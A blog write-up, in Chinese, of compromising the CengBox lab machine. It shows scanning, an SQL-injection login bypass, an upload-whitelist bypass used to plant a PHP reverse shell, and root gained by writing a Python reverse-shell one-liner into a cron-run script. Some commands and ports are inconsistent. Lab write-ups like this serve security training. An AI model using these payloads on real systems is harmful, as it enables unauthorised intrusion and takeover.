vulhub打靶记录——cengbox

news2024/11/17 2:51:37

文章目录

    • 主机发现
    • 端口扫描
    • 搜索SSH EXP
    • web渗透
      • nikto扫描
      • 目录扫描
      • 登录网站后台
      • 提权

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.56.0/24

在这里插入图片描述

  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.105:靶机IP。

或者使用netdiscover通过ARP数据包扫描网段,命令如下:

netdiscover -i eth0 -r 192.168.56.0/24

-i指定网卡,指定哪个网卡,就扫描哪个网卡所在的局域网;
-r:扫描范围。

在这里插入图片描述

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.56.105 -oN scan.txt

-oN:以txt文本格式输出nmap扫描结果。

在这里插入图片描述
只有发现靶机开放了22端口(ssh服务)和80端口(web服务)。web服务的中间件是apache 2.4.18。

搜索SSH EXP

使用searchsploit搜索ssh历史漏洞,发现只有用户名枚举,意义不大。

在这里插入图片描述

web渗透

nikto扫描

22端口没有可利用的漏洞,只能在web上找到突破口,首先用nikto对网站进行扫描,看是否有低级的漏洞。

nikto -host http://192.168.56.105

在这里插入图片描述
检测出apache版本,还有一些跨站的信息,对我们来说意义不大。

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.56.105 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

或者使用gobuster,命令如下:

dirsearch dir -u http://192.168.56.105  -w ./directory.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

http状态码的含义:

  • 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功
  • 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向
  • 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问

访问http://192.168.56.105/index.php,发现是一个静态网站,然后访问目录扫描的路径(两个扫描结果,状态码:301)的时候,其实没有实际上返回403。

在这里插入图片描述
需要注意的是,dirsearch扫出了一个masteradmin路径,这个路径有admin,可能是一个对我们有用的信息,再用dirsearchgobuster扫描masteradmin这个路径。命令如下:

dirsearch -u http://192.168.56.105/masteradmin -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

登录网站后台

扫出了后台http://192.168.56.105/masteradmin.login.php。碰到后台登录框,先测试SQL注入。

username='&password=' # 显示username and password invalid
username=a&password=a # 显示username and password invalid,判断是不是真的做了过滤
username=' or 1=1 --+&password=' or 1=1 --+ # 万能密码,登陆成功

前台显示用户名密码invalid,有两种情况

  • 后端代码真的做了过滤,过滤掉非法字符;
  • sql语句是以分号为间隔来检测有没有报错,一旦某个语句出现错误,部分程序会catch这个异常,并返回给前端用户名invalid。

在这里插入图片描述
在这里插入图片描述
这里直接上传一个php脚本,发现这里采用了白名单限制,只允许文件后缀为.ceng的文件,既然白名单,我们只能将后缀改为.ceng,再访问上传的文件,看能不能被解析为php文件,不能就再说。

在这里插入图片描述
将文件名改为1.ceng,成功上传~

在这里插入图片描述
因为前期目录扫描的时候发现了一个uploads目录,可以猜测刚刚上传的文件应该上传到了uploads目录里,直接访问http://192.168.56.105/uploads/1.ceng
在这里插入图片描述
发现能够执行php脚本,再重新上传一个php reverse shell脚本,更改ip和端口。php-reverse-shell

#修改内容
$ip=192.168.56.105;
$port=4444;

在这里插入图片描述

在kali上监听4444端口,命令如下:

nc -nlvp 4444

再访问http://192.168.56.105/uploads/shell.ceng,成功反弹shell~
在这里插入图片描述

提权

登录到主机后,做以下事情:
1、 到home目录下看有哪些用户有自己的目录,即,哪些用户能登录该主机;
在这里插入图片描述
该主机存在一个用户cengover,还有一个隐藏文件夹.ecryptfs
在这里插入图片描述
发现当前用户不可读。(其实后面的几步都不用看,这里只是完整表达登录主机后该做的事情。)

2、搜索具备SUID权限的程序,命令如下:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
这里没有有用的文件。

3、查看定时任务,命令如下:

cat /etc/crontab

在这里插入图片描述
这里也没有有用的定时任务。
4、查看当前进程信息,命令如下:

ps -ef //显示所有命令,连带命令行

在这里插入图片描述
也是没有什么有用的信息。

下载自动化提权脚本linPEAS,首先将Linpeas脚本下载到kali上,再部署http服务,命令:

python3 -m http.server 80

在靶机上通过web服务下载linpeas脚本,命令:

wget http://192.168.56.101/Linpeas.sh
chmod +x linpeas.sh # 赋予脚本可执行的权限
./linpeas.sh # 执行脚本

wget http://xxx是下载命令,curl http://xxx是将网站内容返回到命令行中。

在这里插入图片描述
在这里插入图片描述
首先,根据提示:红色是需要重点关注的对象。
在这里插入图片描述
能力问题,没有发现太多有用的东西。使用uname -a查看系统是多少位的,靶机64位
在这里插入图片描述

使用同样的方法,往靶机上上传papy64

wget http://192.168.56.101/pspy64
chmod +x pspy64 # 赋予脚本可执行的权限
./pspy64 # 执行脚本

系统上有些定时任务并不是通过操作系统(linux,/etc/crontab)进行配置,而pspy脚本会检测系统中运行的进程。

在这里插入图片描述

  • UID=0,表示root用户;
  • /bin/sh -c,-c 命令表示后面的参数将会作为字符串读入作为执行的命令。故/bin/sh -c /usr/bin/python3 /opt/md5check.py其实就是python3 md5check.py

系统每隔一分钟执行md5check.py这个文件(还不知道这个时间的含义,这个时间是系统是时间,可能跟我们实际时间不一样),去看看这个文件~该文件只允许root用户和users组的用户读写,而当前用户及当前用户所属的组均是www-data。说明我们必须切换到/home/cengover这个用户,但问题是cengover用户的密码我们不知道

在这里插入图片描述
靶机上存在web服务,就说明应该会有数据库,不然之前怎么登录到后台的呢

cd /var/www/html
cd masteradmin
ls -al
mysql -uroot -p

db.php中,我们发现了数据库的用户名和密码~,尝试登录mysql数据库,
在这里插入图片描述

发现没有回显,这种情况可能是非交互shell的原因,试试建立一个半交互式shell;

使用命令建立半交互式shell,成功登录到mysql数据库中~

python -c 'import pty; pty.spawn("/bin/bash")'  # 获取半交互式shell
mysql -uroot -p # 登录mysql数据库

在这里插入图片描述

show databases; # 查看数据库;
use cengbox; # 进入cengbox这个数据库
show tables; # 查看cengbox这个数据库里的表
select * from admin; 查看admin表的内容

在这里插入图片描述

按道理来说,这个masteradmin的密码应该是网站后台的密码。试下cengover用户的密码是不是也是masteradmin的密码。

su cengover切换到cengover用户,切换成功~
在这里插入图片描述
因为之前通过pspy64发现系统会在每分钟的01秒执行md5check.py文件,执行者为root,所以只要我们修改md5check.py文件的内容为一个python reverser shell就可以将root用户的shell反弹到kali上。快速生成shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

nc -nlvp 5555 # kali上监听5555端口
./pspy64 # 执行pspy脚本查看系统进程

在这里插入图片描述

成功拿到flag~

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1541001.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringCloud-Gateway服务网关

一、网关介绍 1. 为什么需要网关 Gateway网关是我们服务的守门神,所有微服务的统一入口。 网关的核心功能特性: 请求路由 权限控制 限流 架构图: 权限控制:网关作为微服务入口,需要校验用户是是否有请求资格&am…

windows 系统下(nacos1.x) nacos-1.1.3 链接数据库 mysql8.0 出错分析

** windows 系统下(nacos1.x) nacos-1.1.3 链接数据库 mysql8.0 出错分析 ** 1、首先以下方法亲测无效: 1)需要在数据库 URL 链接配置信息中 添加 allowPublicKeyRetrievaltrue 无效 db.url.0**&allowPublicKeyRetrievalt…

基于python+vue城市交通管理系统的设计与实现flask-django-php-nodejs

此系统设计主要采用的是python语言来进行开发,采用django/flask框架技术,框架分为三层,分别是控制层Controller,业务处理层Service,持久层dao,能够采用多层次管理开发,对于各个模块设计制作有一…

正弦实时数据库(SinRTDB)简介

正弦实时数据库是长沙巨松软件科技有限公司为了解决工业传感器产生的海量数值型数据的存储、计算等需求而研发的产品。广泛应用于电力、冶金、石油、化工、燃气等多个领域。 正弦实时数据库的主要特点如下: 性能 单机支持管理一百万标签点。单机支持并发用户数超…

【理解机器学习算法】之Clustering算法(K-Means)

实现 K-means 聚类从零开始涉及几个关键步骤:初始化质心、将点分配给最近的质心、根据分配更新质心,以及重复这个过程直到收敛。这里是一个基本的 Python 实现: K-means 算法步骤: 初始化质心:从数据点中随机选择 k …

走迷宫----bfs再矩阵图里的应用模版

对于之前走迷宫的那个题 回忆一下dfs的代码 #include <bits/stdc.h> using namespace std; int a[110][110]; bool check[110][110]; int n,m; int ans1e9; int nxt[4][2]{{1,0},{0,-1},{-1,0},{0,1}}; void dfs(int x,int y,int step){if(xn&&ym){ansmin(ans,…

linux系统------------Mysql数据库介绍、编译安装

目录 一、数据库基本概念 1.1数据(Data) 1.2表 1.3数据库 1.4数据库管理系统(DBMS) 数据库管理系统DBMS原理 1.5数据库系统&#xff08;DBS) 二、数据库发展史 1、第一代数据库 2、第二代数据库 3、第三代数据库 三、关系型数据库 3.1关系型数据库应用 3.2主流的…

sqlalchemy和moke生成实体类(一)

前言 如果通过java生成实体类&#xff0c;可以通过mybatis或者mybatis-plus的generator。 而sqlalchemy也可以生成实体类&#xff0c;通过sqlalcodegen或者flask-sqlalcodegen。 使用flask-sqlalcodegen生成实体类 建表 建立学生表&#xff0c;如下。 create table stude…

Web前端全栈HTML5通向大神之路

本套课程共三大阶段&#xff0c;六大部分&#xff0c;是WEB前端、混合开发与全栈开发必须要掌握的技能&#xff0c;从基础到实践&#xff0c;是从编程小白成长为全栈大神的最佳教程&#xff01; 链接&#xff1a;https://pan.baidu.com/s/1S_8DCORz0N2ZCdtJg0gHsw?pwdtjyv 提取…

minio基本使用

直接docker润起来&#xff08;其实是我用服务器运行一早上&#xff0c;没成功.......................&#xff09; docker run \-p 9000:9000 \-p 9001:9001 \--user $(id -u):$(id -g) \--name minio1 \-e "MINIO_ROOT_USERROOTUSER" \-e "MINIO_ROOT_PASSWOR…

☆【前后缀】【双指针】Leetcode 42. 接雨水

【前后缀】【双指针】Leetcode 42. 接雨水 解法1 前后缀分解解法2 双指针 ---------------&#x1f388;&#x1f388;42. 接雨水 题目链接&#x1f388;&#x1f388;------------------- 解法1 前后缀分解 维护一个前缀&#xff08;左侧最高&#xff09;后缀&#xff08;右侧…

深度学习 tablent表格识别实践记录

下载代码&#xff1a;https://github.com/asagar60/TableNet-pytorch 下载模型&#xff1a;https://drive.usercontent.google.com/download?id13eDDMHbxHaeBbkIsQ7RSgyaf6DSx9io1&exportdownload&confirmt&uuid1bf2e85f-5a4f-4ce8-976c-395d865a3c37 原理&#…

《算法王晓东》多处最优服务次序问题

多处最优服务次序问题 题目描述 设有n个顾客同时等待一项服务。顾客i需要的服务时间为ti, 1≤i≤n。共有s处可以提供此项服务。应如何安排n个顾客的服务次序才能使平均等待时间达到最小? 平均等待时间是n个顾客等待服务时间的总和除以n。 算法设计&#xff1a;对于给定的n个顾…

DC-DC教程,真不错!

大家好&#xff0c;我是记得诚。 交流群读者分享了一个DC-DC的文档&#xff0c;内容还挺好&#xff0c;分享给大家。 文章原链接&#xff1a;DC-DC教程&#xff0c;真不错&#xff01;&#xff0c;可以获取完整的文档。 推荐阅读&#xff1a; 硬件工程师如何零基础入门&#…

MySQL数据库的下载和安装以及命令行语法学习

MySQL数据库的下载和安装以及命令行语法学习 学习MYSQL&#xff0c;掌握住基础的SQL句型&#xff08;创建数据库、查看数据库列表、数据增、删、改、查等操作类型&#xff09; 首先要知道MySQL下载和安装方法&#xff1a; 提示&#xff1a;别嫌啰嗦&#xff0c;对于一个初识MY…

Machine Learning - Logistic Regression

目录 一、Activation Function Why introduce activation functions? There are several commonly used activation functions: 二、Sigmoid&#xff1a; 三、Logistic Regression Model&#xff1a; 四、Implementation of logistic regression&#xff1a; 五、Decis…

Verilog刷题笔记43

题目&#xff1a;Exams/m2014 q4b 解题&#xff1a; module top_module (input clk,input d, input ar, // asynchronous resetoutput q);always(posedge clk,posedge ar)beginif(ar1)q<0;elseq<d;endendmodule结果正确&#xff1a; 补充&#xff1a; 同步复位和异步…

四、C#希尔排序算法

简介 希尔排序简单的来说就是一种改进的插入排序算法&#xff0c;它通过将待排序的元素分成若干个子序列&#xff0c;然后对每个子序列进行插入排序&#xff0c;最终逐步缩小子序列的间隔&#xff0c;直到整个序列变得有序。希尔排序的主要思想是通过插入排序的优势&#xff0…

c语言——通讯录(文件版)

大家好我是小锋&#xff0c;今天我们来实现一个通讯录 准备工作 为了让我们的代码具有条理我们要建立三个文件一个文件用来放头文件一个文件用来放函数的实现&#xff0c;一个文件用来实现通讯录的基本逻辑。 然后我们其他的.c文件要使用头文件时我们要用# include<tongxu…

#Linux(Samba安装)

&#xff08;一&#xff09;发行版&#xff1a;Ubuntu16.04.7 &#xff08;二&#xff09;记录&#xff1a; &#xff08;1&#xff09;键入命令安装Samba sudo apt-get install samba &#xff08;2&#xff09;修改samba配置文件 //打开配置文件 sudo vi /etc/samba/smb.…